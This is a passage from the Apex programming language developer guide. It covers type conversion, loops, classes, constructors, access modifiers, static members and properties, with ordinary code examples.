Data Types and Variables
Understanding Rules of Conversion
Note: Once a value has been passed from a number of a lower type to a number of a higher type, the value is converted to the
higher type of number.
Note that the hierarchy and implicit conversion is unlike the Java hierarchy of numbers, where the base interface number is used and
implicit object conversion is never allowed.
In addition to numbers, other data types can be implicitly converted. The following rules apply:
• IDs can always be assigned to Strings.
• Strings can be assigned to IDs. However, at runtime, the value is checked to ensure that it is a legitimate ID. If it is not, a runtime
exception is thrown.
• The instanceOf keyword can always be used to test whether a string is an ID.
Additional Considerations for Data Types
Data Types of Numeric Values
Numeric values represent Integer values unless they are appended with L for a Long or with .0 for a Double or Decimal. For example,
the expression Long d = 123; declares a Long variable named d and assigns it to an Integer numeric value (123), which is
implicitly converted to a Long. The Integer value on the right hand side is within the range for Integers and the assignment succeeds.
However, if the numeric value on the right hand side exceeds the maximum value for an Integer, you get a compilation error. In this
case, the solution is to append L to the numeric value so that it represents a Long value which has a wider range, as shown in this
example: Long d = 2147483648L;.
Overflow of Data Type Values
Arithmetic computations that produce values larger than the maximum value of the current type are said to overflow. For example,
Integer i = 2147483647 + 1; yields a value of –2147483648 because 2147483647 is the maximum value for an Integer,
so adding one to it wraps the value around to the minimum negative value for Integers, –2147483648.
If arithmetic computations generate results larger than the maximum value for the current type, the end result will be incorrect
because the computed values that are larger than the maximum will overflow. For example, the expression Long MillsPerYear
= 365 * 24 * 60 * 60 * 1000; results in an incorrect result because the products of Integers on the right hand side
are larger than the maximum Integer value and they overflow. As a result, the final product isn't the expected one. You can avoid
this by ensuring that the type of numeric values or variables you are using in arithmetic operations are large enough to hold the
results. In this example, append L to numeric values to make them Long so the intermediate products will be Long as well and no
overflow occurs. The following example shows how to correctly compute the amount of milliseconds in a year by multiplying Long
numeric values.
Long MillsPerYear = 365L * 24L * 60L * 60L * 1000L;
Long ExpectedValue = 31536000000L;
System.assertEquals(MillsPerYear, ExpectedValue);
Loss of Fractions in Divisions
When dividing numeric Integer or Long values, the fractional portion of the result, if any, is removed before performing any implicit
conversions to a Double or Decimal. For example, Double d = 5/3; returns 1.0 because the actual result (1.666...) is an Integer
and is rounded to 1 before being implicitly converted to a Double. To preserve the fractional value, ensure that you are using Double
or Decimal numeric values in the division. For example, Double d = 5.0/3.0; returns 1.6666666666666667 because 5.0
and 3.0 represent Double values, which results in the quotient being a Double as well and no fractional value is lost.
48
CHAPTER 5
In this chapter ...
•
Conditional (If-Else)
Statements
•
Loops
Control Flow Statements
Apex provides statements that control the flow of code execution.
Statements are generally executed line by line, in the order they appear. With control flow statements,
you can cause Apex code to execute based on a certain condition or you can have a block of code
execute repeatedly. This section describes these control flow statements: if-else statements and loops.
49
Control Flow Statements
Conditional (If-Else) Statements
Conditional (If-Else) Statements
The conditional statement in Apex works similarly to Java:
if ([Boolean_condition])
// Statement 1
else
// Statement 2
The else portion is always optional, and always groups with the closest if. For example:
Integer x, sign;
// Your code
if (x <= 0) if (x == 0) sign = 0; else sign = -1;
is equivalent to:
Integer x, sign;
// Your code
if (x <= 0) {
if (x == 0) {
sign = 0;
} else {
sign = -1;
}
}
Repeated else if statements are also allowed. For example:
if (place == 1) {
medal_color = 'gold';
} else if (place == 2) {
medal_color = 'silver';
} else if (place == 3) {
medal_color = 'bronze';
} else {
medal_color = null;
}
Loops
Apex supports the following five types of procedural loops:
• do {statement} while (Boolean_condition);
• while (Boolean_condition) statement;
• for (initialization; Boolean_exit_condition; increment) statement;
• for (variable : array_or_set) statement;
• for (variable : [inline_soql_query]) statement;
All loops allow for loop control structures:
• break; exits the entire loop
• continue; skips to the next iteration of the loop
50
Control Flow Statements
Do-While Loops
Do-While Loops
The Apex do-while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:
do {
code_block
} while (condition);
Note: Curly braces ({}) are always required around a code_block.
As in Java, the Apex do-while loop does not check the Boolean condition statement until after the first loop is executed. Consequently,
the code block always runs at least once.
As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1;
do {
System.debug(count);
count++;
} while (count < 11);
While Loops
The Apex while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:
while (condition) {
code_block
}
Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.
Unlike do-while, the while loop checks the Boolean condition statement before the first loop is executed. Consequently, it is
possible for the code block to never execute.
As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1;
while (count < 11) {
System.debug(count);
count++;
}
For Loops
Apex supports three variations of the for loop:
• The traditional for loop:
for (init_stmt; exit_condition; increment_stmt) {
code_block
}
51
Control Flow Statements
For Loops
• The list or set iteration for loop:
for (variable : list_or_set) {
code_block
}
where variable must be of the same primitive or sObject type as list_or_set.
• The SOQL for loop:
for (variable : [soql_query]) {
code_block
}
or
for (variable_list : [soql_query]) {
code_block
}
Both variable and variable_list must be of the same sObject type as is returned by the soql_query.
Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.
Each is discussed further in the sections that follow.
Traditional For Loops
The traditional for loop in Apex corresponds to the traditional syntax used in Java and other languages. Its syntax is:
for (init_stmt; exit_condition; increment_stmt) {
code_block
}
When executing this type of for loop, the Apex runtime engine performs the following steps, in order:
1. Execute the init_stmt component of the loop. Note that multiple variables can be declared and/or initialized in this statement.
2. Perform the exit_condition check. If true, the loop continues. If false, the loop exits.
3. Execute the code_block.
4. Execute the increment_stmt statement.
5. Return to Step 2.
As an example, the following code outputs the numbers 1 - 10 into the debug log. Note that an additional initialization variable, j, is
included to demonstrate the syntax:
for (Integer i = 0, j = 0; i < 10; i++) {
System.debug(i+1);
}
52
Control Flow Statements
For Loops
List or Set Iteration for Loops
The list or set iteration for loop iterates over all the elements in a list or set. Its syntax is:
for (variable : list_or_set) {
code_block
}
where variable must be of the same primitive or sObject type as list_or_set.
When executing this type of for loop, the Apex runtime engine assigns variable to each element in list_or_set, and
runs the code_block for each value.
For example, the following code outputs the numbers 1 - 10 to the debug log:
Integer[] myInts = new Integer[]{1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
for (Integer i : myInts) {
System.debug(i);
}
Iterating Collections
Collections can consist of lists, sets, or maps. Modifying a collection's elements while iterating through that collection is not supported
and causes an error. Do not directly add or remove elements while iterating through the collection that includes them.
Adding Elements During Iteration
To add elements while iterating a list, set or map, keep the new elements in a temporary list, set, or map and add them to the original
after you finish iterating the collection.
Removing Elements During Iteration
To remove elements while iterating a list, create a new list, then copy the elements you wish to keep. Alternatively, add the elements
you wish to remove to a temporary list and remove them after you finish iterating the collection.
Note: The List.remove method performs linearly. Using it to remove elements has time and resource implications.
To remove elements while iterating a map or set, keep the keys you wish to remove in a temporary list, then remove them after you
finish iterating the collection.
53
CHAPTER 6
Classes, Objects, and Interfaces
This chapter covers classes and interfaces in Apex. It describes defining classes, instantiating them, and extending them. Interfaces, Apex
class versions, properties, and other related class concepts are also described.
In most cases, the class concepts described here are modeled on their counterparts in Java, and can be quickly understood by those
who are familiar with them.
IN THIS SECTION:
1. Understanding Classes
2. Understanding Interfaces
3. Keywords
4. Annotations
5. Classes and Casting
6. Differences Between Apex Classes and Java Classes
7. Class Definition Creation
8. Namespace Prefix
9. Apex Code Versions
10. Lists of Custom Types and Sorting
Lists can hold objects of your user-defined types (your Apex classes). Lists of user-defined types can be sorted.
11. Using Custom Types in Map Keys and Sets
You can add instances of your own Apex classes to maps and sets.
Understanding Classes
As in Java, you can create classes in Apex. A class is a template or blueprint from which objects are created. An object is an instance of a
class. For example, the PurchaseOrder class describes an entire purchase order, and everything that you can do with a purchase
order. An instance of the PurchaseOrder class is a specific purchase order that you send or receive.
All objects have state and behavior, that is, things that an object knows about itself, and things that an object can do. The state of a
PurchaseOrder object—what it knows—includes the user who sent it, the date and time it was created, and whether it was flagged as
important. The behavior of a PurchaseOrder object—what it can do—includes checking inventory, shipping a product, or notifying a
customer.
A class can contain variables and methods. Variables are used to specify the state of an object, such as the object's Name or Type.
Since these variables are associated with a class and are members of it, they are commonly referred to as member variables. Methods
are used to control behavior, such as getOtherQuotes or copyLineItems.
A class can contain other classes, exception types, and initialization code.
54
Classes, Objects, and Interfaces
Apex Class Definition
An interface is like a class in which none of the methods have been implemented—the method signatures are there, but the body of
each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the
interface.
For more general information on classes, objects, and interfaces, see http://java.sun.com/docs/books/tutorial/java/concepts/index.html
In addition to classes, Apex provides triggers, similar to database triggers. A trigger is Apex code that executes before or after database
operations. See Triggers.
IN THIS SECTION:
1. Apex Class Definition
2. Class Variables
3. Class Methods
4. Using Constructors
5. Access Modifiers
6. Static and Instance Methods, Variables, and Initialization Code
In Apex, you can have static methods, variables, and initialization code. However, Apex classes can’t be static. You can also have
instance methods, member variables, and initialization code, which have no modifier, and local variables.
7. Apex Properties
8. Extending a Class
You can extend a class to provide more specialized behavior.
9. Extended Class Example
Apex Class Definition
In Apex, you can define top-level classes (also called outer classes) as well as inner classes, that is, a class defined within another class.
You can only have inner classes one level deep. For example:
public class myOuterClass {
// Additional myOuterClass code here
class myInnerClass {
// myInnerClass code here
}
}
To define a class, specify the following:
1. Access modifiers:
• You must use one of the access modifiers (such as public or global) in the declaration of a top-level class.
• You do not have to use an access modifier in the declaration of an inner class.
2. Optional definition modifiers (such as virtual, abstract, and so on)
3. Required: The keyword class followed by the name of the class
4. Optional extensions and/or implementations
Note: Avoid using standard object names for class names. Doing so causes unexpected results. For a list of standard objects, see
Object Reference for Salesforce and Force.com.
55
Classes, Objects, and Interfaces
Class Variables
Use the following syntax for defining classes:
private | public | global
[virtual | abstract | with sharing | without sharing]
class ClassName [implements InterfaceNameList] [extends ClassName]
{
// The body of the class
}
• The private access modifier declares that this class is only known locally, that is, only by this section of code. This is the default
access for inner classes—that is, if you don't specify an access modifier for an inner class, it is considered private. This keyword
can only be used with inner classes.
• The public access modifier declares that this class is visible in your application or namespace.
• The global access modifier declares that this class is known by all Apex code everywhere. All classes that contain methods defined
with the webService keyword must be declared as global. If a method or inner class is declared as global, the outer,
top-level class must also be defined as global.
• The with sharing and without sharing keywords specify the sharing mode for this class. For more information, see
Using the with sharing or without sharing Keywords on page 80.
• The virtual definition modifier declares that this class allows extension and overrides. You cannot override a method with the
override keyword unless the class has been defined as virtual.
• The abstract definition modifier declares that this class contains abstract methods, that is, methods that only have their signature
declared and no body defined.
Note:
• You cannot add an abstract method to a global class after the class has been uploaded in a Managed - Released package
version.
• If the class in the Managed - Released package is virtual, the method that you can add to it must also be virtual and must have
an implementation.
• You cannot override a public or protected virtual method of a global class of an installed managed package.
For more information about managed packages, see What is a Package? on page 599.
A class can implement multiple interfaces, but only extend one existing class. This restriction means that Apex does not support multiple
inheritance. The interface names in the list are separated by commas. For more information about interfaces, see Understanding Interfaces
on page 73.
For more information about method and variable access modifiers, see Access Modifiers on page 61.
SEE ALSO:
Documentation Typographical Conventions
Salesforce Help: Manage Apex Classes
Salesforce Help: Developer Console Functionality
Class Variables
To declare a variable, specify the following:
• Optional: Modifiers, such as public or final, as well as static.
• Required: The data type of the variable, such as String or Boolean.
56
Classes, Objects, and Interfaces
Class Methods
• Required: The name of the variable.
• Optional: The value of the variable.
Use the following syntax when defining a variable:
[public | private | protected | global] [final] [static] data_type variable_name
[= value]
For example:
private static final Integer MY_INT;
private final Integer i = 1;
Class Methods
To define a method, specify the following:
• Optional: Modifiers, such as public or protected.
• Required: The data type of the value returned by the method, such as String or Integer. Use void if the method does not return a
value.
• Required: A list of input parameters for the method, separated by commas, each preceded by its data type, and enclosed in parentheses
(). If there are no parameters, use a set of empty parentheses. A method can only have 32 input parameters.
• Required: The body of the method, enclosed in braces {}. All the code for the method, including any local variable declarations, is
contained here.
Use the following syntax when defining a method:
[public | private | protected | global] [override] [static] data_type method_name
(input parameters)
{
// The body of the method
}
Note: You can use override to override methods only in classes that have been defined as virtual or abstract.
For example:
public static Integer getInt() {
return MY_INT;
}
As in Java, methods that return values can also be run as a statement if their results are not assigned to another variable.
User-defined methods:
• Can be used anywhere that system methods are used.
• Can be recursive.
• Can have side effects, such as DML insert statements that initialize sObject record IDs. See Apex DML Statements on page 606.
• Can refer to themselves or to methods defined later in the same class or anonymous block. Apex parses methods in two phases, so
forward declarations are not needed.
• Can be polymorphic. For example, a method named foo can be implemented in two ways, one with a single Integer parameter
and one with two Integer parameters. Depending on whether the method is called with one or two Integers, the Apex parser selects
the appropriate implementation to execute. If the parser cannot find an exact match, it then seeks an approximate match using type
coercion rules. For more information on data conversion, see Understanding Rules of Conversion on page 47.
57
Classes, Objects, and Interfaces
Class Methods
Note: If the parser finds multiple approximate matches, a parse-time exception is generated.
• When using void methods that have side effects, user-defined methods are typically executed as stand-alone procedure statements
in Apex code. For example:
System.debug('Here is a note for the log.');
• Can have statements where the return values are run as a statement if their results are not assigned to another variable. This rule is
the same in Java.
Passing Method Arguments by Value
In Apex, all primitive data type arguments, such as Integer or String, are passed into methods by value. This fact means that any changes
to the arguments exist only within the scope of the method. When the method returns, the changes to the arguments are lost.
Non-primitive data type arguments, such as sObjects, are also passed into methods by value. This fact means that when the method
returns, the passed-in argument still references the same object as before the method call and can't be changed to point to another
object. However, the values of the object's fields can be changed in the method.
The following are examples of passing primitive and non-primitive data type arguments into methods.
Example: Passing Primitive Data Type Arguments
This example shows how a primitive argument of type String is passed by value into another method. The debugStatusMessage
method in this example creates a String variable, msg, and assigns it a value. It then passes this variable as an argument to another
method, which modifies the value of this String. However, since String is a primitive type, it is passed by value, and when the method
returns, the value of the original variable, msg, is unchanged. An assert statement verifies that the value of msg is still the old value.
public class PassPrimitiveTypeExample {
public static void debugStatusMessage() {
String msg = 'Original value';
processString(msg);
// The value of the msg variable didn't
// change; it is still the old value.
System.assertEquals(msg, 'Original value');
}
public static void processString(String s) {
s = 'Modified value';
}
}
Example: Passing Non-Primitive Data Type Arguments
This example shows how a List argument is passed by value into another method and can be modified. It also shows that the List
argument can’t be modified to point to another List object. First, the createTemperatureHistory method creates a variable,
fillMe, that is a List of Integers and passes it to a method. The called method fills this list with Integer values representing rounded
temperature values. When the method returns, an assert verifies that the contents of the original List variable has changed and now
contains five values. Next, the example creates a second List variable, createMe, and passes it to another method. The called method
assigns the passed-in argument to a newly created List that contains new Integer values. When the method returns, the original
createMe variable doesn’t point to the new List but still points to the original List, which is empty. An assert verifies that createMe
contains no values.
public class PassNonPrimitiveTypeExample {
58
Classes, Objects, and Interfaces
Using Constructors
public static void createTemperatureHistory() {
List fillMe = new List();
reference(fillMe);
// The list is modified and contains five items
// as expected.
System.assertEquals(fillMe.size(),5);
List createMe = new List();
referenceNew(createMe);
// The list is not modified because it still points
// to the original list, not the new list
// that the method created.
System.assertEquals(createMe.size(),0);
}
public static void reference(List m) {
// Add rounded temperatures for the last five days.
m.add(70);
m.add(68);
m.add(75);
m.add(80);
m.add(82);
}
public static void referenceNew(List m) {
// Assign argument to a new List of
// five temperature values.
m = new List{55, 59, 62, 60, 63};
}
}
Using Constructors
A constructor is code that is invoked when an object is created from the class blueprint. You do not need to write a constructor for every
class. If a class does not have a user-defined constructor, an implicit, no-argument, public one is used.
The syntax for a constructor is similar to a method, but it differs from a method definition in that it never has an explicit return type and
it is not inherited by the object created from it.
After you write the constructor for a class, you must use the new keyword in order to instantiate an object from that class, using that
constructor. For example, using the following class:
public class TestObject {
// The no argument constructor
public TestObject() {
// more code here
}
}
A new object of this type can be instantiated with the following code:
TestObject myTest = new TestObject();
59
Classes, Objects, and Interfaces
Using Constructors
If you write a constructor that takes arguments, you can then use that constructor to create an object using those arguments. If you
create a constructor that takes arguments, and you still want to use a no-argument constructor, you must include one in your code.
Once you create a constructor for a class, you no longer have access to the default, no-argument public constructor. You must create
your own.
In Apex, a constructor can be overloaded, that is, there can be more than one constructor for a class, each having different parameters.
The following example illustrates a class with two constructors: one with no arguments and one that takes a simple Integer argument.
It also illustrates how one constructor calls another constructor using the this(...) syntax, also know as constructor chaining.
public class TestObject2 {
private static final Integer DEFAULT_SIZE = 10;
Integer size;
//Constructor with no arguments
public TestObject2() {
this(DEFAULT_SIZE); // Using this(...) calls the one argument constructor
}
// Constructor with one argument
public TestObject2(Integer ObjectSize) {
size = ObjectSize;
}
}
New objects of this type can be instantiated with the following code:
TestObject2 myObject1 = new TestObject2(42);
TestObject2 myObject2 = new TestObject2();
Every constructor that you create for a class must have a different argument list. In the following example, all of the constructors are
possible:
public class Leads {
// First a no-argument constructor
public Leads () {}
// A constructor with one argument
public Leads (Boolean call) {}
// A constructor with two arguments
public Leads (String email, Boolean call) {}
// Though this constructor has the same arguments as the
// one above, they are in a different order, so this is legal
public Leads (Boolean call, String email) {}
}
When you define a new class, you are defining a new data type. You can use class name in any place you can use other data type names,
such as String, Boolean, or Account. If you define a variable whose type is a class, any object you assign to it must be an instance of that
class or subclass.
60
Classes, Objects, and Interfaces
Access Modifiers
Access Modifiers
Apex allows you to use the private, protected, public, and global access modifiers when defining methods and variables.
While triggers and anonymous blocks can also use these access modifiers, they are not as useful in smaller portions of Apex. For example,
declaring a method as global in an anonymous block does not enable you to call it from outside of that code.
For more information on class access modifiers, see Apex Class Definition on page 55.
Note: Interface methods have no access modifiers. They are always global. For more information, see Understanding Interfaces
on page 73.
By default, a method or variable is visible only to the Apex code within the defining class. You must explicitly specify a method or variable
as public in order for it to be available to other classes in the same application namespace (see Namespace Prefix). You can change the
level of visibility by using the following access modifiers:
private
This is the default, and means that the method or variable is accessible only within the Apex class in which it is defined. If you do
not specify an access modifier, the method or variable is private.
protected
This means that the method or variable is visible to any inner classes in the defining Apex class, and to the classes that extend the
defining Apex class. You can only use this access modifier for instance methods and member variables. Note that it is strictly more
permissive than the default (private) setting, just like Java.
public
This means the method or variable can be used by any Apex in this application or namespace.
Note: In Apex, the public access modifier is not the same as it is in Java. This was done to discourage joining applications,
to keep the code for each application separate. In Apex, if you want to make something public like it is in Java, you need to
use the global access modifier.
global
This means the method or variable can be used by any Apex code that has access to the class, not just the Apex code in the same
application. This access modifier should be used for any method that needs to be referenced outside of the application, either in
the SOAP API or by other Apex code. If you declare a method or variable as global, you must also declare the class that contains
it as global.
Note: We recommend using the global access modifier rarely, if at all. Cross-application dependencies are difficult to
maintain.
To use the private, protected, public, or global access modifiers, use the following syntax:
[(none)|private|protected|public|global] declaration
For example:
private string s1 = '1';
public string gets1() {
return this.s1;
}
Static and Instance Methods, Variables, and Initialization Code
In Apex, you can have static methods, variables, and initialization code. However, Apex classes can’t be static. You can also have instance
methods, member variables, and initialization code, which have no modifier, and local variables.
61
Classes, Objects, and Interfaces
Static and Instance Methods, Variables, and Initialization
Code
Characteristics
Static methods, variables, and initialization code have these characteristics.
• They’re associated with a class.
• They’re allowed only in outer classes.
• They’re initialized only when a class is loaded.
• They aren’t transmitted as part of the view state for a Visualforce page.
Instance methods, member variables, and initialization code have these characteristics.
• They’re associated with a particular object.
• They have no definition modifier.
• They’re created with every object instantiated from the class in which they’re declared.
Local variables have these characteristics.
• They’re associated with the block of code in which they’re declared.
• They must be initialized before they’re used.
The following example shows a local variable whose scope is the duration of the if code block.
Boolean myCondition = true;
if (myCondition) {
integer localVariable = 10;
}
Using Static Methods and Variables
You can use static methods and variables only with outer classes. Inner classes have no static methods or variables. A static method or
variable doesn’t require an instance of the class in order to run.
Before an object of a class is created, all static member variables in a class are initialized, and all static initialization code blocks are
executed. These items are handled in the order in which they appear in the class.
A static method is used as a utility method, and it never depends on the value of an instance member variable. Because a static method
is only associated with a class, it can’t access the instance member variable values of its class.
A static variable is static only within the scope of the Apex transaction. It’s not static across the server or the entire organization. The
value of a static variable persists within the context of a single transaction and is reset across transaction boundaries. For example, if an
Apex DML request causes a trigger to fire multiple times, the static variables persist across these trigger invocations.
To store information that is shared across instances of a class, use a static variable. All instances of the same class share a single copy of
the static variable. For example, all triggers that a single transaction spawns can communicate with each other by viewing and updating
static variables in a related class. A recursive trigger can use the value of a class variable to determine when to exit the recursion.
Suppose that you had the following class.
public class P {
public static boolean firstRun = true;
}
A trigger that uses this class could then selectively fail the first run of the trigger.
trigger T1 on Account (before delete, after delete, after undelete) {
if(Trigger.isBefore){
if(Trigger.isDelete){
62
Classes, Objects, and Interfaces
Static and Instance Methods, Variables, and Initialization
Code
if(p.firstRun){
Trigger.old[0].addError('Before Account Delete Error');
p.firstRun=false;
}
}
}
}
A static variable defined in a trigger doesn’t retain its value between different trigger contexts within the same transaction, such as
between before insert and after insert invocations. Instead, define the static variables in a class so that the trigger can access these class
member variables and check their static values.
A class static variable can’t be accessed through an instance of that class. If class MyClass has a static variable myStaticVariable,
and myClassInstance is an instance of MyClass, myClassInstance.myStaticVariable is not a legal expression.
The same is true for instance methods. If myStaticMethod() is a static method, myClassInstance.myStaticMethod()
is not legal. Instead, refer to those static identifiers using the class: MyClass.myStaticVariable and
MyClass.myStaticMethod().
Local variable names are evaluated before class names. If a local variable has the same name as a class, the local variable hides methods
and variables on the class of the same name. For example, this method works if you comment out the String line. But if the String
line is included the method doesn’t compile, because Salesforce reports that the method doesn’t exist or has an incorrect signature.
public static void method() {
String Database = '';
Database.insert(new Account());
}
An inner class behaves like a static Java inner class, but doesn’t require the static keyword. An inner class can have instance member
variables like an outer class, but there is no implicit pointer to an instance of the outer class (using the this keyword).
Note: In API version 20.0 and earlier, if a Bulk API request causes a trigger to fire, each chunk of 200 records for the trigger to
process is split into chunks of 100 records. In Salesforce API version 21.0 and later, no further splits of API chunks occur. If a Bulk
API request causes a trigger to fire multiple times for chunks of 200 records, governor limits are reset between these trigger
invocations for the same HTTP request.
Using Instance Methods and Variables
Instance methods and member variables are used by an instance of a class, that is, by an object. An instance member variable is declared
inside a class, but not within a method. Instance methods usually use instance member variables to affect the behavior of the method.
Suppose that you want to have a class that collects two-dimensional points and plots them on a graph. The following skeleton class
uses member variables to hold the list of points and an inner class to manage the two-dimensional list of points.
public class Plotter {
// This inner class manages the points
class Point {
Double x;
Double y;
Point(Double x, Double y) {
this.x = x;
this.y = y;
}
63
Classes, Objects, and Interfaces
Static and Instance Methods, Variables, and Initialization
Code
Double getXCoordinate() {
return x;
}
Double getYCoordinate() {
return y;
}
}
List points = new List();
public void plot(Double x, Double y) {
points.add(new Point(x, y));
}
// The following method takes the list of points and does something with them
public void render() {
}
}
Using Initialization Code
Instance initialization code is a block of code in the following form that is defined in a class.
{
//code body
}
The instance initialization code in a class is executed each time an object is instantiated from that class. These code blocks run before
the constructor.
If you don’t want to write your own constructor for a class, you can use an instance initialization code block to initialize instance variables.
In simple situations, use an ordinary initializer. Reserve initialization code for complex situations, such as initializing a static map. A static
initialization block runs only once, regardless of how many times you access the class that contains it.
Static initialization code is a block of code preceded with the keyword static.
static {
//code body
}
Similar to other static code, a static initialization code block is only initialized once on the first use of the class.
A class can have any number of either static or instance initialization code blocks. They can appear anywhere in the code body. The code
blocks are executed in the order in which they appear in the file, just as they are in Java.
You can use static initialization code to initialize static final variables and to declare information that is static, such as a map of values.
For example:
public class MyClass {
class RGB {
64
Classes, Objects, and Interfaces
Apex Properties
Integer red;
Integer green;
Integer blue;
RGB(Integer red, Integer green, Integer blue) {
this.red = red;
this.green = green;
this.blue = blue;
}
}
static Map colorMap = new Map();
static {
colorMap.put('red', new RGB(255, 0, 0));
colorMap.put('cyan', new RGB(0, 255, 255));
colorMap.put('magenta', new RGB(255, 0, 255));
}
}
Apex Properties
An Apex property is similar to a variable, however, you can do additional things in your code to a property value before it is accessed or
returned. Properties can be used in many different ways: they can validate data before a change is made; they can prompt an action
when data is changed, such as altering the value of other member variables; or they can expose data that is retrieved from some other
source, such as another class.
Property definitions include one or two code blocks, representing a get accessor and a set accessor:
• The code in a get accessor executes when the property is read.
• The code in a set accessor executes when the property is assigned a new value.
A property with only a get accessor is considered read-only. A property with only a set accessor is considered write-only. A property with
both accessors is read-write.
To declare a property, use the following syntax in the body of a class:
Public class BasicClass {
// Property declaration
access_modifier return_type property_name {
get {
//Get accessor code block
}
set {
//Set accessor code block
}
}
}
Where:
65
Classes, Objects, and Interfaces
Apex Properties
• access_modifier is the access modifier for the property. The access modifiers that can be applied to properties include:
public, private, global, and protected. In addition, these definition modifiers can be applied: static and
transient. For more information on access modifiers, see Access Modifiers on page 61.
• return_type is the type of the property, such as Integer, Double, sObject, and so on. For more information, see Data Types on
page 27.
• property_name is the name of the property
For example, the following class defines a property named prop. The property is public. The property returns an integer data type.
public class BasicProperty {
public integer prop {
get { return prop; }
set { prop = value; }
}
}
The following code segment calls the class above, exercising the get and set accessors:
BasicProperty bp = new BasicProperty();
bp.prop = 5;
// Calls set accessor
System.assert(bp.prop == 5);
// Calls get accessor
Note the following:
• The body of the get accessor is similar to that of a method. It must return a value of the property type. Executing the get accessor is
the same as reading the value of the variable.
• The get accessor must end in a return statement.
• We recommend that your get accessor should not change the state of the object that it is defined on.
• The set accessor is similar to a method whose return type is void.
• When you assign a value to the property, the set accessor is invoked with an argument that provides the new value.
• When the set accessor is invoked, the system passes an implicit argument to the setter called value of the same data type as the
property.
• Properties cannot be defined on interface.
• Apex properties are based on their counterparts in C#, with the following differences:
– Properties provide storage for values directly. You do not need to create supporting members for storing values.
– It is possible to create automatic properties in Apex. For more information, see Using Automatic Properties on page 66.
Using Automatic Properties
Properties do not require additional code in their get or set accessor code blocks. Instead, you can leave get and set accessor code blocks
empty to define an automatic property. Automatic properties allow you to write more compact code that is easier to debug and maintain.
They can be declared as read-only, read-write, or write-only. The following example creates three automatic properties:
public class AutomaticProperty {
public integer MyReadOnlyProp { get; }
public double MyReadWriteProp { get; set; }
public string MyWriteOnlyProp { set; }
}
66
Classes, Objects, and Interfaces
Apex Properties
The following code segment exercises these properties:
AutomaticProperty ap = new AutomaticProperty();
ap.MyReadOnlyProp = 5;
// This produces a compile error: not writable
ap.MyReadWriteProp = 5;
// No error
System.assert(MyWriteOnlyProp == 5);
// This produces a compile error: not readable
Using Static Properties
When a property is declared as static, the property's accessor methods execute in a static context. This means that the accessors do
not have access to non-static member variables defined in the class. The following example creates a class with both static and instance
properties:
public class StaticProperty {
public static integer StaticMember;
public integer NonStaticMember;
public static integer MyGoodStaticProp {
get{return MyGoodStaticProp;}
}
// The following produces a system error
// public static integer MyBadStaticProp { return NonStaticMember; }
public integer MyGoodNonStaticProp {
get{return NonStaticMember;}
}
}
The following code segment calls the static and instance properties:
StaticProperty sp = new StaticProperty();
// The following produces a system error: a static variable cannot be
// accessed through an object instance
// sp.MyGoodStaticProp = 5;
// The following does not produce an error
StaticProperty.MyGoodStaticProp = 5;
Using Access Modifiers on Property Accessors
Property accessors can be defined with their own access modifiers. If an accessor includes its own access modifier, this modifier overrides
the access modifier of the property. The access modifier of an individual accessor must be more restrictive than the access modifier on
the property itself. For example, if the property has been defined as public, the individual accessor cannot be defined as global.
The following class definition shows additional examples:
global virtual class PropertyVisibility {
// X is private for read and public for write
public integer X { private get; set; }
// Y can be globally read but only written within a class
global integer Y { get; public set; }
// Z can be read within the class but only subclasses can set it
public integer Z { get; protected set; }
}
67
Classes, Objects, and Interfaces
Extending a Class
Extending a Class
You can extend a class to provide more specialized behavior.
A class that extends another class inherits all the methods and properties of the extended class. In addition, the extending class can
override the existing virtual methods by using the override keyword in the method definition. Overriding a virtual method allows you
to provide a different implementation for an existing method. This means that the behavior of a particular method is different based on
the object you’re calling it on. This is referred to as polymorphism.
A class extends another class using the extends keyword in the class definition. A class can only extend one other class, but it can
implement more than one interface.
This example shows how the YellowMarker class extends the Marker class. To run the inheritance examples in this section, first
create the Marker class.
public virtual class Marker {
public virtual void write() {
System.debug('Writing some text.');
}
public virtual Double discount() {
return .05;
}
}
Then create the YellowMarker class, which extends the Marker class.
// Extension for the Marker class
public class YellowMarker extends Marker {
public override void write() {
System.debug('Writing some text using the yellow marker.');
}
}
This code segment shows polymorphism. The example declares two objects of the same type (Marker). Even though both objects
are markers, the second object is assigned to an instance of the YellowMarker class. Hence, calling the write method on it yields
a different result than calling this method on the first object, because this method has been overridden. However, you can call the
discount method on the second object even though this method isn’t part of the YellowMarker class definition. But it is part
of the extended class, and hence, is available to the extending class, YellowMarker. Run this snippet in the Execute Anonymous
window of the Developer Console.
Marker obj1, obj2;
obj1 = new Marker();
// This outputs 'Writing some text.'
obj1.write();
obj2 = new YellowMarker();
// This outputs 'Writing some text using the yellow marker.'
obj2.write();
// We get the discount method for free
// and can call it from the YellowMarker instance.
Double d = obj2.discount();
The extending class can have more method definitions that aren’t common with the original extended class. For example, the
RedMarker class below extends the Marker class and has one extra method, computePrice, that isn’t available for the
Marker class. To call the extra methods, the object type must be the extending class.
68
Classes, Objects, and Interfaces
Extended Class Example
Before running the next snippet, create the RedMarker class, which requires the Marker class in your org.
// Extension for the Marker class
public class RedMarker extends Marker {
public override void write() {
System.debug('Writing some text in red.');
}
// Method only in this class
public Double computePrice() {
return 1.5;
}
}
This snippet shows how to call the additional method on the RedMarker class. Run this snippet in the Execute Anonymous window
of the Developer Console.
RedMarker obj = new RedMarker();
// Call method specific to RedMarker only
Double price = obj.computePrice();
Extensions also apply to interfaces—an interface can extend another interface. As with classes, when an interface extends another
interface, all the methods and properties of the extended interface are available to the extending interface.
Extended Class Example
The following is an extended example of a class, showing all the features of Apex classes. The keywords and concepts introduced in the
example are explained in more detail throughout this chapter.
// Top-level (outer) class must be public or global (usually public unless they contain
// a Web Service, then they must be global)
public class OuterClass {
// Static final variable (constant) – outer class level only
private static final Integer MY_INT;
// Non-final static variable - use this to communicate state across triggers
// within a single request)
public static String sharedState;
// Static method - outer class level only
public static Integer getInt() { return MY_INT; }
// Static initialization (can be included where the variable is defined)
static {
MY_INT = 2;
}
// Member variable for outer class
private final String m;
// Instance initialization block - can be done where the variable is declared,
// or in a constructor
{
m = 'a';
69
Classes, Objects, and Interfaces
Extended Class Example
}
